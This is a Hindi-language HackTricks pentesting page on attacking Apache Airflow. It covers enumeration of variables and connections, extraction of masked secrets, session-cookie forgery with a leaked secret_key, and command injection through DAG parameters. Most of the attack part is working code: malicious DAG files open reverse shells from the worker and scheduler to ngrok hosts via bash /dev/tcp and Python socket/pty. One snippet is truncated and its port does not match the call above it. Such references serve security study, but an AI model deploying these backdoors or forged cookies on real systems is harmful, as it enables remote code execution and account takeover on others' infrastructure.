Apache Airflow Security

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

Apache Airflow एक मंच के रूप में काम करता है जो डेटा पाइपलाइन्स या वर्कफ्लोज को ऑर्केस्ट्रेट और शेड्यूल करने के लिए है। डेटा पाइपलाइन्स के संदर्भ में "ऑर्केस्ट्रेशन" शब्द का अर्थ है विभिन्न स्रोतों से आने वाले जटिल डेटा वर्कफ्लोज की व्यवस्था, समन्वय और प्रबंधन की प्रक्रिया। इन ऑर्केस्ट्रेटेड डेटा पाइपलाइन्स का प्राथमिक उद्देश्य प्रोसेस्ड और उपभोग योग्य डेटा सेट्स प्रदान करना है। ये डेटा सेट्स व्यापक रूप से अनेक अनुप्रयोगों द्वारा उपयोग किए जाते हैं, जिनमें व्यापार खुफिया उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बिग डेटा अनुप्रयोगों के कार्यान्वयन के लिए मौलिक हैं।

मूल रूप से, Apache Airflow आपको कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ (इवेंट, क्रॉन) होता है

स्थानीय लैब

Docker-Compose

आप https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml से docker-compose कॉन्फ़िग फ़ाइल का उपयोग करके पूर्ण apache airflow docker वातावरण लॉन्च कर सकते हैं। (यदि आप MacOS में हैं तो सुनिश्चित करें कि डॉकर VM को कम से कम 6GB रैम दें)।

Minikube

apache airflow को minikube के साथ चलाने का एक आसान तरीका है:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow विन्यास

Airflow अपने विन्यास में संवेदनशील जानकारी संग्रहीत कर सकता है या आपको कमजोर विन्यास मिल सकते हैं:

pageAirflow Configuration

Airflow RBAC

Airflow पर हमला करने से पहले आपको समझना चाहिए कैसे अनुमतियाँ काम करती हैं:

pageAirflow RBAC

हमले

वेब कंसोल गणना

यदि आपके पास वेब कंसोल तक पहुँच है तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुँच सकते हैं:

  • वेरिएबल्स (यहाँ कस्टम संवेदनशील जानकारी संग्रहीत की जा सकती है)

  • कनेक्शन्स (यहाँ कस्टम संवेदनशील जानकारी संग्रहीत की जा सकती है)

  • इन्हें http://<airflow>/connection/list/ में एक्सेस करें

  • विन्यास (संवेदनशील जानकारी जैसे कि secret_key और पासवर्ड यहाँ संग्रहीत किए जा सकते हैं)

  • उपयोगकर्ता और भूमिकाओं की सूची

  • प्रत्येक DAG का कोड (जिसमें दिलचस्प जानकारी हो सकती है)

वेरिएबल्स मान प्राप्त करना

वेरिएबल्स को Airflow में संग्रहीत किया जा सकता है ताकि DAGs उनके मानों तक पहुँच सकें। यह अन्य प्लेटफॉर्म्स के सीक्रेट्स के समान है। यदि आपके पास पर्याप्त अनुमतियाँ हैं तो आप उन्हें GUI में http://<airflow>/variable/list/ पर एक्सेस कर सकते हैं। Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल के मान को दिखाएगा, हालांकि, इस के अनुसार यह संभव है कि एक सूची वेरिएबल्स को सेट किया जाए जिनका मान GUI में तारांकन के रूप में दिखाई देगा।

हालांकि, ये मान अभी भी CLI के माध्यम से प्राप्त किए जा सकते हैं (आपको DB तक पहुँच होनी चाहिए), मनमाने DAG के निष्पादन, API के माध्यम से जो वेरिएबल्स एंडपॉइंट तक पहुँचता है (API को सक्रिय किया जाना चाहिए), और यहाँ तक कि GUI स्वयं भी! GUI से उन मानों तक पहुँचने के लिए बस वेरिएबल्स का चयन करें जिन्हें आप एक्सेस करना चाहते हैं और Actions -> Export पर क्लिक करें। एक और तरीका है छिपे हुए मान पर ब्रूटफोर्स करना, खोज फिल्टरिंग का उपयोग करते हुए जब तक आप इसे प्राप्त नहीं कर लेते:

विशेषाधिकार वृद्धि

यदि expose_config विन्यास True पर सेट है, तो User भूमिका से ऊपर के उपयोगकर्ता वेब में कॉन्फ़िग पढ़ सकते हैं। इस कॉन्फ़िग में, secret_key दिखाई देता है, जिसका मतलब है कि इस मान्यता वाला कोई भी उपयोगकर्ता अपनी स्वयं की हस्ताक्षरित कुकी बना सकता है किसी अन्य उपयोगकर्ता खाते का अनुकरण करने के लिए

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG बैकडोर (Airflow worker में RCE)

यदि आपके पास DAGs सहेजे जाने वाले स्थान पर लिखने का अधिकार है, तो आप बस एक बना सकते हैं जो आपको रिवर्स शेल भेजेगा। ध्यान दें कि यह रिवर्स शेल airflow worker container के अंदर निष्पादित किया जाएगा:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG बैकडोर (Airflow scheduler में RCE)

यदि आप कुछ ऐसा सेट करते हैं जिसे कोड के रूट में निष्पादित किया जाना है, इस लेखन के समय, यह scheduler द्वारा निष्पादित किया जाएगा DAG के फोल्डर के अंदर रखने के कुछ सेकंड बाद।

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG निर्माण

यदि आप DAG क्लस्टर के अंदर किसी मशीन को समझौता करने में सफल होते हैं, तो आप dags/ फोल्डर में नए DAGs स्क्रिप्ट्स बना सकते हैं और वे DAG क्लस्टर के अंदर बाकी मशीनों में प्रतिलिपि बन जाएंगे

DAG कोड इंजेक्शन

जब आप GUI से कोई DAG निष्पादित करते हैं तो आप उसमें आर्ग्युमेंट्स पास कर सकते हैं। इसलिए, यदि DAG ठीक से कोडित नहीं है तो वह कमांड इंजेक्शन के लिए संवेदनशील हो सकता है। यही इस CVE में हुआ था: https://www.exploit-db.com/exploits/49927

DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए आपको जो जानना जरूरी है वह यह है कि पैरामीटर्स को dag_run.conf.get("param_name") कोड के साथ एक्सेस किया जाता है

इसके अलावा, वही संवेदनशीलता वेरिएबल्स के साथ भी हो सकती है (ध्यान दें कि पर्याप्त अधिकारों के साथ आप GUI में वेरिएबल्स के मूल्य को नियंत्रित कर सकते हैं). वेरिएबल्स को एक्सेस किया जाता है:

from airflow.models import Variable
[...]
foo = Variable.get("foo")
यदि वे उदाहरण के लिए एक bash कमांड के अंदर इस्तेमाल किए जाते हैं, तो आप कमांड इंजेक्शन कर सकते हैं।

<details>

<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>

HackTricks का समर्थन करने के अन्य तरीके:

* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) को **फॉलो** करें।
* **अपनी हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।

</details>

Last updated